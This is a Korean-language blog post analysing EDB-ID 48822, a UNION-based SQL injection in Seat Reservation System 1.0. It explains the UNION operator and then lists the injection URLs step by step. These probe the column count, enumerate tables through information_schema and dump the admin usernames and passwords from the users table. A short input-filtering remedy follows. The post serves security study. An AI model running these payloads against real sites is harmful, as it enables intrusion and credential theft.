1. 개요
CVE 코드 |
EDB – ID - 48822 |
분류 |
SQL Union Injection |
대상 어플리케이션 |
Seat Reservation System 1.0 버전에서 발생 |
취약 코드 |
/seat_reservation/reserve.php |
영화 좌석 예약을 하는 웹페이지 서비스이다.
예약을 하는 페이지에서 id값을 받을 때 입력 값을 검증하지 않아 발생하였다.
Union Sql Injection
UNIION 명령어는 조회한 sql 결과를 합치고 싶을 때 사용하는 명령어이다.
도시와 나라를 조회하는 쿼리문이 있다.
UNION을 사용하면 내가 원하는 sql결과와 합칠 수 있다.
UNION을 이용해 1,2를 합쳐서 조회하였다.
UNION Sql Injection은 입력 값을 검증하는 않는 코드에 UNION을 주입하여 공격자 원하는 정보를 출력한다.
1. 상세분석
1.1. 발생 원리
$id에 값을 넣을 때 아무런 검증을 거치지 않고 SQL Query 입력 값을 받는다.
UNION명령어로 인해 공격자가 원하는 정보로 뒤바뀌어 출력된다.
2.2 취약점 확인
존재하지 않는 id값을 넣어 전송해 보았다.
입력URL : URL/seat_reservation/index.php?page=reserve&id=12124
Sql에서 존재하지 값이 존재하지 않아 빈페이지를 불러온다.
UNION SQL Injection 구문을 넣었다.
입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1; --
컬럼 개수가 맞지 않아 오류가 발생했다.
여러 번 시도 결과 컬럼 개수가 8개인 것을 확인할 수 있었다.
입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1,2,3,4,5,6,7,8;--
메타데이터를 가져오는 sql 명령문을 이용해 테이블 명을 가져왔다.
입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database(); --
계정 정보는 users에 들어 있음을 이름을 통해 추측할 수 있다. users의 컬럼을 추출하였다.
입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='users';
관리자의 아이디와 패스워드를 추출하였다.
입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(username),3,group_concat(password),5,6,7,8 from users;--
3.대응 방안
소스코드에SQL 필터링을 적용한다.
적용 전
적용 후
Union Sql Injection이 발생하지 않는다.
4. 참고자료
- Seat Reservation System 1.0
- Exploit-DB
https://www.exploit-db.com/exploits/48822
- w3cshools
https://www.w3schools.com/sql/
'취약점 분석 > EDB' 카테고리의 다른 글
[EDB] EDB-ID-48197 취약점 분석 - CVS Injection (0) | 2020.09.20 |
---|